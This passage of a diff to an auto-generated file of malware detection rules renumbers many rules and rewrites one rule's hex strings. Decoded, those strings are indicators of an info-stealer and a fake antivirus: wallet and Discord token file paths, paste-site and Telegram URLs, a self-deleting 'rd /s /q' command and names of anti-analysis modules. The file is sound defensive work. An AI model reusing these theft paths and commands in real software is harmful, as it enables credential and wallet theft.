1)*28265+(#a_6e_5 & 1)*25964+(#a_72_6 & 1)*23553+(#a_64_7 & 1)*26479+(#a_69_8 & 1)*24942+(#a_36_9 & 1)*29537) >=10 } -rule _InfrastructureShared_19364{ +rule _InfrastructureShared_20568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -239136,7 +254065,7 @@ rule _InfrastructureShared_19364{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28520+(#a_72_3 & 1)*23553+(#a_64_4 & 1)*26479+(#a_69_5 & 1)*24942+(#a_36_6 & 1)*29537+(#a_2e_7 & 1)*25445+(#a_72_8 & 1)*28531+(#a_70_9 & 1)*29545+(#a_c7_10 & 1)*0) >=11 } -rule _InfrastructureShared_19365{ +rule _InfrastructureShared_20569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -239159,7 +254088,7 @@ rule _InfrastructureShared_19365{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_65_2 & 1)*1+(#a_65_3 & 1)*29301+(#a_73_4 & 1)*29230+(#a_65_5 & 1)*11877+(#a_01_6 & 1)*2560+(#a_6f_7 & 1)*22273+(#a_45_8 & 1)*-32501+(#a_6e_9 & 1)*29289+(#a_64_10 & 1)*26725+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10) >=14 } -rule _InfrastructureShared_19366{ +rule _InfrastructureShared_20570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -239185,7 +254114,7 @@ rule _InfrastructureShared_19366{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2304+(#a_65_2 & 1)*28530+(#a_6f_4 & 1)*385+(#a_00_5 & 1)*25716+(#a_76_6 & 1)*385+(#a_6c_7 & 1)*25646+(#a_01_8 & 1)*9332+(#a_f8_9 & 1)*1025+(#a_00_11 & 1)*1+(#a_23_12 & 1)*15+(#a_74_14 & 1)*25135+(#a_6d_15 & 1)*28526+(#a_6f_16 & 1)*11897+(#a_6f_17 & 1)*12035+(#a_42_18 & 1)*29285+(#a_77_19 & 1)*29295) >=20 } -rule _InfrastructureShared_19367{ +rule _InfrastructureShared_20571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff98 00 ffffff97 00 08 00 21 " @@ -239201,7 +254130,7 @@ rule _InfrastructureShared_19367{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*30052+(#a_1b_3 & 1)*9284+(#a_01_4 & 1)*9404+(#a_2f_5 & 1)*5888+(#a_62_6 & 1)*400+(#a_61_7 & 1)*29281) >=151 } -rule _InfrastructureShared_19368{ +rule _InfrastructureShared_20572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -239224,7 +254153,7 @@ rule _InfrastructureShared_19368{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28787+(#a_00_2 & 1)*144+(#a_6f_3 & 1)*12035+(#a_74_5 & 1)*25135+(#a_31_6 & 1)*28265+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_c8_13 & 1)*0+(#a_80_14 & 1)*1) >=2 } -rule _InfrastructureShared_19369{ +rule _InfrastructureShared_20573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -239239,7 +254168,7 @@ rule _InfrastructureShared_19369{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26984+(#a_64_2 & 1)*29808+(#a_69_3 & 1)*10272+(#a_2b_4 & 1)*288+(#a_01_6 & 1)*3584) >=3 } -rule _InfrastructureShared_19370{ +rule _InfrastructureShared_20574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 14 00 21 " @@ -239267,7 +254196,7 @@ rule _InfrastructureShared_19370{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*27508+(#a_73_2 & 1)*26725+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_c8_9 & 1)*0+(#a_09_10 & 1)*14637+(#a_5a_11 & 1)*16697+(#a_00_12 & 1)*2448+(#a_61_13 & 1)*281+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_c8_16 & 1)*0+(#a_00_17 & 1)*101+(#a_00_18 & 1)*78) >=4 } -rule _InfrastructureShared_19371{ +rule _InfrastructureShared_20575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -239283,7 +254212,7 @@ rule _InfrastructureShared_19371{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*144+(#a_65_3 & 1)*28516+(#a_00_5 & 1)*101+(#a_09_6 & 1)*11408+(#a_2d_7 & 1)*14637) >=5 } -rule _InfrastructureShared_19372{ +rule _InfrastructureShared_20576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -239296,7 +254225,7 @@ rule _InfrastructureShared_19372{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_00_4 & 1)*83+(#a_00_6 & 1)*116) >=6 } -rule _InfrastructureShared_19373{ +rule _InfrastructureShared_20577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -239311,7 +254240,7 @@ rule _InfrastructureShared_19373{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*37+(#a_00_2 & 1)*37+(#a_00_3 & 1)*48+(#a_00_5 & 1)*48+(#a_00_6 & 1)*97) >=6 } -rule _InfrastructureShared_19374{ +rule _InfrastructureShared_20578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -239330,7 +254259,7 @@ rule _InfrastructureShared_19374{ ((#a_6e_0 & 1)*21027+(#a_73_1 & 1)*25956+(#a_72_2 & 1)*29543+(#a_72_3 & 1)*21355+(#a_01_5 & 1)*30720+(#a_00_6 & 1)*25445+(#a_20_7 & 1)*11521+(#a_73_8 & 1)*25632+(#a_01_9 & 1)*3+(#a_c9_10 & 1)*0) >=11 } -rule _InfrastructureShared_19375{ +rule _InfrastructureShared_20579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0c 00 21 " @@ -239350,7 +254279,7 @@ rule _InfrastructureShared_19375{ ((#a_63_0 & 1)*16931+(#a_69_1 & 1)*30765+(#a_20_2 & 1)*29295+(#a_20_4 & 1)*27949+(#a_68_5 & 1)*27760+(#a_41_6 & 1)*16961+(#a_4e_7 & 1)*13366+(#a_01_8 & 1)*17516+(#a_4c_9 & 1)*18432+(#a_03_10 & 1)*2+(#a_c9_11 & 1)*0) >=15 } -rule _InfrastructureShared_19376{ +rule _InfrastructureShared_20580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -239365,7 +254294,7 @@ rule _InfrastructureShared_19376{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_74_2 & 1)*18179+(#a_85_4 & 1)*400+(#a_b8_5 & 1)*400+(#a_24_7 & 1)*-29368) >=3 } -rule _InfrastructureShared_19377{ +rule _InfrastructureShared_20581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -239378,7 +254307,7 @@ rule _InfrastructureShared_19377{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9284+(#a_01_2 & 1)*9284+(#a_02_3 & 1)*9284) >=4 } -rule _InfrastructureShared_19378{ +rule _InfrastructureShared_20582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -239393,7 +254322,7 @@ rule _InfrastructureShared_19378{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305+(#a_01_3 & 1)*-28672+(#a_61_4 & 1)*18800+(#a_61_5 & 1)*281) >=6 } -rule _InfrastructureShared_19379{ +rule _InfrastructureShared_20583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -239411,7 +254340,7 @@ rule _InfrastructureShared_19379{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_ca_8 & 1)*0) >=10 } -rule _InfrastructureShared_19380{ +rule _InfrastructureShared_20584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -239422,7 +254351,7 @@ rule _InfrastructureShared_19380{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97) >=1 } -rule _InfrastructureShared_19381{ +rule _InfrastructureShared_20585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -239441,7 +254370,7 @@ rule _InfrastructureShared_19381{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_3 & 1)*98+(#a_00_5 & 1)*108+(#a_00_6 & 1)*114+(#a_6a_7 & 1)*29268+(#a_56_8 & 1)*25456+(#a_67_9 & 1)*27970+(#a_55_10 & 1)*13636+(#a_01_11 & 1)*8192) >=1 } -rule _InfrastructureShared_19382{ +rule _InfrastructureShared_20586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -239460,7 +254389,7 @@ rule _InfrastructureShared_19382{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*-32488+(#a_4a_2 & 1)*19575+(#a_67_3 & 1)*27970+(#a_55_4 & 1)*13636+(#a_01_5 & 1)*8192+(#a_2d_7 & 1)*2305+(#a_2c_9 & 1)*109+(#a_2d_10 & 1)*14637+(#a_90_11 & 1)*11568) >=3 } -rule _InfrastructureShared_19383{ +rule _InfrastructureShared_20587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -239475,7 +254404,7 @@ rule _InfrastructureShared_19383{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_00_5 & 1)*101+(#a_79_6 & 1)*24942) >=4 } -rule _InfrastructureShared_19384{ +rule _InfrastructureShared_20588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -239490,7 +254419,7 @@ rule _InfrastructureShared_19384{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*28261+(#a_90_2 & 1)*29295+(#a_2c_3 & 1)*116+(#a_2d_5 & 1)*2305+(#a_69_6 & 1)*28524) >=4 } -rule _InfrastructureShared_19385{ +rule _InfrastructureShared_20589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -239505,7 +254434,7 @@ rule _InfrastructureShared_19385{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*23624+(#a_5a_2 & 1)*16697+(#a_00_4 & 1)*101+(#a_00_5 & 1)*116+(#a_52_6 & 1)*21320) >=4 } -rule _InfrastructureShared_19386{ +rule _InfrastructureShared_20590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -239517,7 +254446,7 @@ rule _InfrastructureShared_19386{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*102+(#a_00_4 & 1)*101) >=5 } -rule _InfrastructureShared_19387{ +rule _InfrastructureShared_20591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -239535,7 +254464,7 @@ rule _InfrastructureShared_19387{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*30063+(#a_73_2 & 1)*29230+(#a_62_3 & 1)*9984+(#a_72_4 & 1)*28786+(#a_67_5 & 1)*26988+(#a_01_6 & 1)*25959+(#a_75_7 & 1)*27745+(#a_74_8 & 1)*26990) >=9 } -rule _InfrastructureShared_19388{ +rule _InfrastructureShared_20592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -239553,7 +254482,7 @@ rule _InfrastructureShared_19388{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28520+(#a_72_2 & 1)*28265+(#a_65_3 & 1)*11891+(#a_5f_4 & 1)*25977+(#a_64_5 & 1)*11876+(#a_73_6 & 1)*25458+(#a_47_7 & 1)*25964+(#a_00_9 & 1)*52) >=11 } -rule _InfrastructureShared_19389{ +rule _InfrastructureShared_20593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -239573,7 +254502,7 @@ rule _InfrastructureShared_19389{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_6c_2 & 1)*30018+(#a_00_3 & 1)*114+(#a_00_5 & 1)*105+(#a_61_6 & 1)*29557+(#a_74_7 & 1)*28499+(#a_6d_8 & 1)*27759+(#a_72_9 & 1)*24912+(#a_18_10 & 1)*1281+(#a_52_11 & 1)*-32505) >=12 } -rule _InfrastructureShared_19390{ +rule _InfrastructureShared_20594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -239593,7 +254522,7 @@ rule _InfrastructureShared_19390{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*30067+(#a_6f_2 & 1)*26460+(#a_65_3 & 1)*26989+(#a_5c_4 & 1)*25960+(#a_09_5 & 1)*1025+(#a_08_6 & 1)*1792+(#a_11_7 & 1)*1299+(#a_16_8 & 1)*4356+(#a_06_10 & 1)*1792+(#a_62_11 & 1)*25933) >=12 } -rule _InfrastructureShared_19391{ +rule _InfrastructureShared_20595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -239616,7 +254545,7 @@ rule _InfrastructureShared_19391{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*2053+(#a_06_3 & 1)*1792+(#a_62_4 & 1)*25933+(#a_78_5 & 1)*25711+(#a_33_6 & 1)*12336+(#a_01_7 & 1)*11573+(#a_00_9 & 1)*-13448+(#a_41_11 & 1)*8448+(#a_42_12 & 1)*20548+(#a_75_13 & 1)*16897+(#a_00_14 & 1)*101+(#a_00_15 & 1)*111+(#a_01_17 & 1)*1) >=18 } -rule _InfrastructureShared_19392{ +rule _InfrastructureShared_20596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -239636,7 +254565,7 @@ rule _InfrastructureShared_19392{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*17247+(#a_00_3 & 1)*101+(#a_00_4 & 1)*108+(#a_00_5 & 1)*49+(#a_2f_6 & 1)*29807+(#a_30_7 & 1)*300+(#a_2c_8 & 1)*2+(#a_00_9 & 1)*99+(#a_7a_10 & 1)*24841+(#a_5a_11 & 1)*16762) >=4 } -rule _InfrastructureShared_19393{ +rule _InfrastructureShared_20597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -239651,7 +254580,7 @@ rule _InfrastructureShared_19393{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_61_2 & 1)*281+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=6 } -rule _InfrastructureShared_19394{ +rule _InfrastructureShared_20598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -239666,7 +254595,7 @@ rule _InfrastructureShared_19394{ ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*21643+(#a_4c_2 & 1)*19480+(#a_83_3 & 1)*8228+(#a_e8_4 & 1)*5267+(#a_4d_5 & 1)*28257) >=7 } -rule _InfrastructureShared_19395{ +rule _InfrastructureShared_20599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -239690,7 +254619,7 @@ rule _InfrastructureShared_19395{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32493+(#a_6f_2 & 1)*29797+(#a_01_3 & 1)*11568+(#a_24_4 & 1)*385+(#a_69_5 & 1)*29812+(#a_63_6 & 1)*30063+(#a_36_7 & 1)*14386+(#a_2e_8 & 1)*28001+(#a_52_9 & 1)*29541+(#a_69_10 & 1)*28500+(#a_70_11 & 1)*17259+(#a_00_12 & 1)*27756+(#a_00_14 & 1)*32+(#a_00_15 & 1)*115) >=16 } -rule _InfrastructureShared_19396{ +rule _InfrastructureShared_20600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 13 00 21 " @@ -239714,7 +254643,7 @@ rule _InfrastructureShared_19396{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25933+(#a_65_2 & 1)*11891+(#a_74_3 & 1)*16996+(#a_77_4 & 1)*29015+(#a_90_5 & 1)*11568+(#a_00_7 & 1)*114+(#a_2c_9 & 1)*41+(#a_2d_10 & 1)*2305+(#a_6a_11 & 1)*18804+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_cc_17 & 1)*0) >=23 } -rule _InfrastructureShared_19397{ +rule _InfrastructureShared_20601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -239726,7 +254655,7 @@ rule _InfrastructureShared_19397{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_2 & 1)*110) >=1 } -rule _InfrastructureShared_19398{ +rule _InfrastructureShared_20602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -239740,7 +254669,7 @@ rule _InfrastructureShared_19398{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24946+(#a_6c_2 & 1)*29541+(#a_65_3 & 1)*23610+(#a_01_4 & 1)*25970) >=2 } -rule _InfrastructureShared_19399{ +rule _InfrastructureShared_20603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -239753,7 +254682,7 @@ rule _InfrastructureShared_19399{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_3 & 1)*114+(#a_00_5 & 1)*54) >=4 } -rule _InfrastructureShared_19400{ +rule _InfrastructureShared_20604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -239768,7 +254697,7 @@ rule _InfrastructureShared_19400{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_2d_4 & 1)*2305+(#a_00_5 & 1)*116) >=6 } -rule _InfrastructureShared_19401{ +rule _InfrastructureShared_20605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -239782,7 +254711,7 @@ rule _InfrastructureShared_19401{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_2d_2 & 1)*14637+(#a_7a_3 & 1)*24922+(#a_2d_4 & 1)*23085) >=6 } -rule _InfrastructureShared_19402{ +rule _InfrastructureShared_20606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -239791,21 +254720,46 @@ rule _InfrastructureShared_19402{ $a_6e_1 = {72 6f 6c 73 2e 4c 76 54 61 62 2e 4c 76 54 61 62 2e 72 65 73 6f 75 72 63 65 73 01 00 22 80 01 43 6f 6e 73 6f 6c 65 53 6e 61 6b 65 2e 53 69 67 6e 61 6c 4c 65 76 65 6c 2e 72 65 73 6f 75 72 63 65 73 01 00 2a 80 01 43 6f 6e 73 6f 6c 65 53 6e 61 6b 65 2e 43 6f 6e 74 72 6f 6c 73 2e 4c 76 56 61 6c 75 65 42 61 72 2e 72 65 73 6f 75 72 63 65 } //17198 $a_6e_3 = {6f 6c 65 53 6e 61 6b 65 2e 4c 76 54 6f 6f 6c 42 61 72 2e 72 65 73 6f 75 72 63 65 73 01 00 2b 80 01 43 6f 6e 73 6f 6c 65 53 6e 61 6b 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 29 80 01 4c 76 43 6f 6e 74 72 6f 6c 2e 49 6d 61 67 65 56 69 65 77 2e 4c 76 49 6d 61 67 65 56 69 65 } //17153 $a_65_4 = {6f 75 72 63 65 73 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 06 80 01 46 54 5f 46 54 31 01 00 07 80 01 47 65 74 54 79 70 65 01 00 06 80 01 46 54 5f 46 54 32 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 07 00 54 6f 41 72 72 61 79 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 } //11895 - $a_6e_5 = {33 32 00 00 78 cd 01 00 01 00 01 00 0a 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 44 00 65 00 65 00 70 00 20 00 53 00 63 00 61 00 6e 00 00 00 43 00 75 00 73 00 74 00 } //28500 - $a_00_6 = {20 00 53 00 63 00 61 00 6e 00 00 00 01 00 11 01 2e 3f 41 56 5a 53 63 61 6e 46 72 61 6d 65 40 40 00 01 00 12 01 2e 3f 41 56 5a 53 63 61 6e 52 65 73 75 6c 74 40 40 00 01 00 78 01 50 00 6c 00 65 00 61 00 73 00 65 00 20 00 63 00 6c 00 69 00 63 00 6b 00 20 00 22 00 41 00 75 00 74 00 6f 00 20 00 41 00 64 00 6a 00 75 00 73 00 74 00 } //111 - $a_00_7 = {62 00 75 00 74 00 74 00 6f 00 6e 00 20 00 74 00 6f 00 20 00 65 00 72 00 61 00 73 00 65 00 20 00 } //34 button to erase - $a_00_8 = {6c 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 01 00 1c 01 47 00 75 00 61 00 72 00 64 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 00 00 01 00 14 01 71 00 77 00 65 00 61 00 73 00 64 00 66 00 67 00 68 00 00 00 01 00 0f 81 01 5c 70 72 6f 74 65 63 74 25 73 2e 65 78 65 00 01 00 } //97 - $a_6e_9 = {6c } //-32493 l - $a_6b_10 = {69 74 2d 4d 61 6e 61 67 65 72 00 01 00 60 01 50 00 6c 00 65 00 61 00 73 00 65 00 20 00 62 00 65 00 20 00 63 00 61 00 72 00 65 00 66 00 75 00 6c 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 61 00 64 00 6a 00 75 00 73 00 74 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 } //25449 - $a_00_12 = {07 } //0 - $a_18_13 = {50 6a 16 00 00 78 cd 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 57 69 6c 74 65 64 54 75 6c 69 70 5f 4d 61 74 72 79 6f 73 68 6b 61 5f 52 41 54 00 01 00 40 03 25 00 53 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 90 2c 01 09 30 } //20481 - $a_2d_14 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 3c 03 6e 00 74 00 75 00 73 00 65 00 72 00 2e 00 64 00 61 00 74 00 2e 00 73 00 77 00 70 00 90 2c 01 09 30 2d 39 41 2d 5a 61 } //14637 - $a_09_15 = {02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 4c 03 4a 00 6f 00 62 00 20 00 53 00 61 00 76 00 65 00 20 00 2f 00 20 00 4c 00 6f 00 61 00 64 00 20 00 43 00 6f 00 6e 00 66 00 69 00 67 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 2e 3f 41 56 50 53 43 4c 5f 43 4c 41 53 53 5f 4a 4f 42 5f 53 41 56 45 5f 43 4f 4e 46 49 47 40 40 90 19 01 09 61 2d 7a 41 2d 5a 30 } //31277 + $a_6e_5 = {33 32 00 00 78 cc 01 00 12 00 12 00 14 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 42 21 4d 54 42 00 0a 00 10 80 01 74 65 78 74 62 69 6e 2e 6e 65 74 2f 72 61 77 2f 0a 00 3e 01 69 } //28500 + $a_00_7 = {69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 0a 00 11 02 68 74 74 70 90 02 01 3a 2f 2f 74 2e 6d 65 2f 90 00 02 00 2c 00 2f 63 20 74 69 6d 65 6f 75 74 20 2f 74 20 31 30 20 26 20 72 64 20 2f 73 20 2f 71 20 22 43 3a 5c 50 72 6f } //97 + $a_6d_8 = {61 74 61 5c 02 00 13 01 5c 4d 6f 6e 65 72 6f 5c 77 61 6c 6c 65 74 2e 6b 65 79 73 02 00 18 01 5c 42 72 61 76 65 57 61 6c 6c 65 74 5c 50 72 65 66 65 72 65 6e 63 65 73 02 00 13 01 5c 44 69 73 63 6f 72 64 5c 74 6f 6b 65 6e 73 2e 74 78 74 01 00 07 81 01 61 70 69 5f 6c 6f 67 01 00 09 81 01 64 69 } //29287 + $a_61_9 = {63 68 01 00 07 81 01 76 6d 63 68 65 63 6b 01 00 05 81 01 73 6e 78 68 6b 01 00 08 81 01 61 76 67 68 6f 6f 6b 78 01 00 08 81 01 61 76 67 68 6f 6f 6b 61 01 00 07 81 01 64 62 67 68 65 6c 70 01 00 07 81 01 70 73 74 6f 72 65 63 01 00 08 81 01 63 6d 64 76 72 74 36 34 01 00 08 81 01 63 6d 64 76 72 74 33 32 01 00 06 81 01 77 70 65 73 70 79 ce ff 16 80 01 2d 4d 61 } //24434 + $a_72_10 = {62 79 74 65 73 20 53 63 61 6e 6e 65 72 2d ce ff 16 80 01 53 65 63 75 72 69 74 79 47 75 61 72 64 53 44 4b 36 34 2e 64 6c 6c 00 00 78 cd 01 00 01 00 01 00 0a 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 44 00 65 00 65 00 70 00 20 00 53 00 63 } //30572 + $a_00_12 = {75 00 73 00 74 00 6f 00 6d 00 20 00 53 00 63 00 61 00 6e 00 00 00 01 00 11 01 2e 3f 41 56 5a 53 63 61 6e 46 72 61 6d 65 40 40 00 01 00 12 01 2e 3f 41 56 5a 53 63 61 6e 52 65 73 75 6c 74 40 40 00 01 00 } //0 + $a_00_13 = {6c 00 65 00 61 00 73 00 65 00 20 00 63 00 6c 00 69 00 63 00 6b 00 20 00 22 00 41 00 75 00 74 00 6f 00 20 00 41 00 64 00 6a 00 75 00 73 00 74 00 22 00 20 00 62 00 75 00 74 00 74 00 6f 00 6e 00 20 00 74 00 6f 00 20 00 65 00 72 00 61 00 73 00 } //376 lease click "Auto Adjust" button to eras + $a_00_14 = {61 00 6c 00 6c 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 } //101 all infected fil + $a_00_15 = {1c } //101 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*17198+(#a_6e_3 & 1)*17153+(#a_65_4 & 1)*11895+(#a_6e_5 & 1)*28500+(#a_00_6 & 1)*111+(#a_00_7 & 1)*34+(#a_00_8 & 1)*97+(#a_6e_9 & 1)*-32493+(#a_6b_10 & 1)*25449+(#a_00_12 & 1)*0+(#a_18_13 & 1)*20481+(#a_2d_14 & 1)*14637+(#a_09_15 & 1)*31277) >=16 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*17198+(#a_6e_3 & 1)*17153+(#a_65_4 & 1)*11895+(#a_6e_5 & 1)*28500+(#a_00_7 & 1)*97+(#a_6d_8 & 1)*29287+(#a_61_9 & 1)*24434+(#a_72_10 & 1)*30572+(#a_00_12 & 1)*0+(#a_00_13 & 1)*376+(#a_00_14 & 1)*101+(#a_00_15 & 1)*101) >=16 } -rule _InfrastructureShared_19403{ +rule _InfrastructureShared_20607{ + meta: + description = 